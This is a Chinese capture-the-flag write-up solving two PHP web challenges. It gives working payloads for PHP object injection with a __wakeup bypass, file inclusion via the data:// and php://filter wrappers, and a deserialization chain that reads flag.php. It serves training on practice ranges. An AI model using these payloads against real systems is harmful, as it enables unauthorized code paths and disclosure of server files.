[极客大挑战 2019]PHP
题目
题解
进入靶场环境
根据题目给我的提示,此网站存在备份,尝试爆破网站的目录
工具:dirmap
爆破发现网站的备份文件,访问后,下载到本地,观察其内容
发现flag.php,打开查看,发现并不是我们想要的内容,继续查看其他源码文件
在index.php和class.php源代码中发现一些猫腻
index.php当中发现:
获取select参数通过get方式传递,并将获取的select参数的值进行反序列化处理
在class.php当中:
定义了两个变量username和password
private(私有) :私有的类成员则只能被其定义所在的类访问
源码:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
发现 function __construct,function __wakeup(),function __destruct(),等多个序列化函数,那么肯定存在反序列化,通过以上代码发现,在index.php当中发现select通过get传参
补充:
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发 //反序列化
__sleep() 使用serialize时触发 //序列号
__destruction():结束时销毁对象,当一个对象销毁时被调用
反过来在观察class.php的代码,主要验证两个条件,username和password,username为admin,password为100
接下来进行序列号,将类实例化,进行序列化得到字符串
构造payload:
代码:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name = new Name;
print(serialize($name));
//echo 输出也可以
//echo serialize($name)
?>
运行结果:
将方框换成%00,方框url无法进行识别,如果不写会减少长度,无法达到目的;
O:4:"Name":2:{
s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
但是还有一个函数,__wakeup()会将username重新赋值为“guest”,所以需要想办法将__wakeup()函数绕过
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{
s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{
s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
即
绕过:
O:4:"Name":3:{
s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
payload:
index.php?select=O:4:"Name":3:{
s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
成功获取flag
本题flag为:
flag{b18bb0c2-8084-4e65-a402-f1803a87f80d}
[ZJCTF 2019]NiZhuanSiWei
题目
题解
打开靶场环境
发现是网页的源码,经过分析可得,三个参数分别为text,file,password通过get方式进行传参,在if控制语句当中,设置text变量,并在文件当中读取数据,要等于welcome to the zjctf才会返回true
接下来就需要用到文件包含当中的php伪协议data构造payload
payload:
?text=data://text/plain,welcome to the zjctf
通过第二个if控制语句,我们发现通过正则表达式过滤掉了flag,所有说file参数传入时,如果有flag出现就会被过滤掉,我们再根据下一句话,文件包含,我们尝试去获取useless.php 的源码,看是什么信息,再次构造payload
再次利用到了文件包含当中的php伪协议php://filter来获取源码信息
payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
获取成功后,是base64编码,我们接下来进行解码
解码后,得到代码
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
我们在初始的源码当中发现了password参数被反序列化处理,那么我们将刚刚得到的解密得到的代码,进行序列化处理,赋值给password参数,进行反序列化
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
序列化处理:
<?php
class Flag{
//flag.php
public $file="flag.php"; //需要将flag.php文件赋值给$file
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$passwd = new Flag;
echo serialize($passwd);
?>
输出结果为:
O:4:"Flag":1:{
s:4:"file";s:8:"flag.php";}
再次构造payload:
password参数进行反序列化处理
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
执行完成后,查看界面:
查看网页源码:
成功获取flag信息
本题flag为:
flag{1b3bf4a9-e129-4477-9e99-e9bc49c2d3c3}
总结:
第一:我们拿到靶场环境后,观察源代码,发现需要我们传递的参数,并且是get方式进行传递,所以可以直接在url当中操作(HackBar),根据代码分析,需要用到文件包含伪协议data://,进行获取数据,然后通过函数读取里面的字符串进行匹配是否相等
第二:根据if控制语句当中的函数发现flag被正则过滤掉,所以无法查找flag文件,这时候我们需要根据源码当中的提示进行访问读取useless.php 源码信息,这里又一次需要用到文件包含伪协议php://filter来读取源码,读取的字符串格式为base64编码,得到的字符串通过base64进行解密,得到代码。
通过观察源码当中的password参数,发现存在反序列化处理。将解密得到的源码,进行反序列化处理。从而得到password
注:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
第三:构造payload,拿到flag
文章不妥之处,欢迎批评指正!